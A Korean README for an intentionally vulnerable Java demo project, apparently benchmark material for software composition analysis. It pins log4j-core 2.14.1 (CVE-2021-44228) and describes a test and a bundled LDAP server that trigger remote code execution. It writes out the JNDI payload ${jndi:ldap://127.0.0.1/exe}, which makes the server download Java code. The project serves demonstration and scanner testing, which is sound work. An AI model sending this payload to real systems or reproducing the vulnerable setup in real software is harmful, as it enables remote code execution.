log4shell 진양성

이것은 log4shell 취약점이 있는 간단한 웹 프로젝트입니다. 프로젝트는 평문 텍스트 문자열 hello world를 반환하는 간단한 scabench.HelloWorldService get 서비스를 정의합니다. 서비스는 매개변수를 예상하지 않으며, 매개변수가 발견되면 오류가 기록됩니다.

취약한 의존성은 org.apache.logging.log4j:log4j-core:2.14.1이며, 취약점은 CVE-2021-44228입니다.

테스트를 사용하여 취약점 시연하기

이를 위해서는 unix 또는 macos가 필요합니다. 이 프로젝트를 windows로 포팅하는 것은 쉽습니다.

취약점을 시연하기 위한 단위 테스트가 제공됩니다. 테스트에는 취약한 코드를 제공하는 ldap 서버가 필요하며, 해당 실행 파일은 프로젝트에서 제공되며, 별도의 프로젝트 https://github.com/jensdietrich/Log4J-RCE-Proof-Of-Concept에 정의되어 있으며, 이는 https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept를 기반으로 합니다. 테스트 픽스처는 ldap 서버의 시작 및 종료를 처리합니다.

테스트는 log4j가 연결하는 ldap 서버의 코드에 포함된 명령어(touch foo)를 기반으로 foo 파일을 생성합니다. 이 서버는 공격자가 제어할 수 있습니다.

테스트를 실행하려면 mvn test로 프로젝트를 빌드하십시오.

애플리케이션 실행하여 취약점 시연하기

내장 웹 서버 시작: mvn jetty:run
포함된 ldap 서버 시작: java -jar dodgy-ldap-server.jar (취약한 코드가 이 서버에서 Java 코드를 다운로드합니다)
브라우저를 http://localhost:8080/로 접속하면, 이 사이트에는 악성 페이로드 ${jndi:ldap://127.0.0.1/exe}가 미리 입력된 폼이 있습니다.
이 폼을 제출합니다.
그러면 서버에 foo 파일이 생성됩니다.

소프트웨어 구성 분석 실행하기

다양한 분석을 실행하기 위한 여러 sh 스크립트가 있으며, 결과 보고서는 scan-results에서 찾을 수 있습니다.

SBOM 생성하기

pom.xml에는 CycloneDX 형식의 SBOM을 생성하는 플러그인이 있습니다. 이렇게 하려면 mvn cyclonedx:makePackageBom을 실행하면 SBOM이 target/ 디렉토리에서 json 및 xml 형식으로 찾을 수 있습니다.

l4j-tp1

인기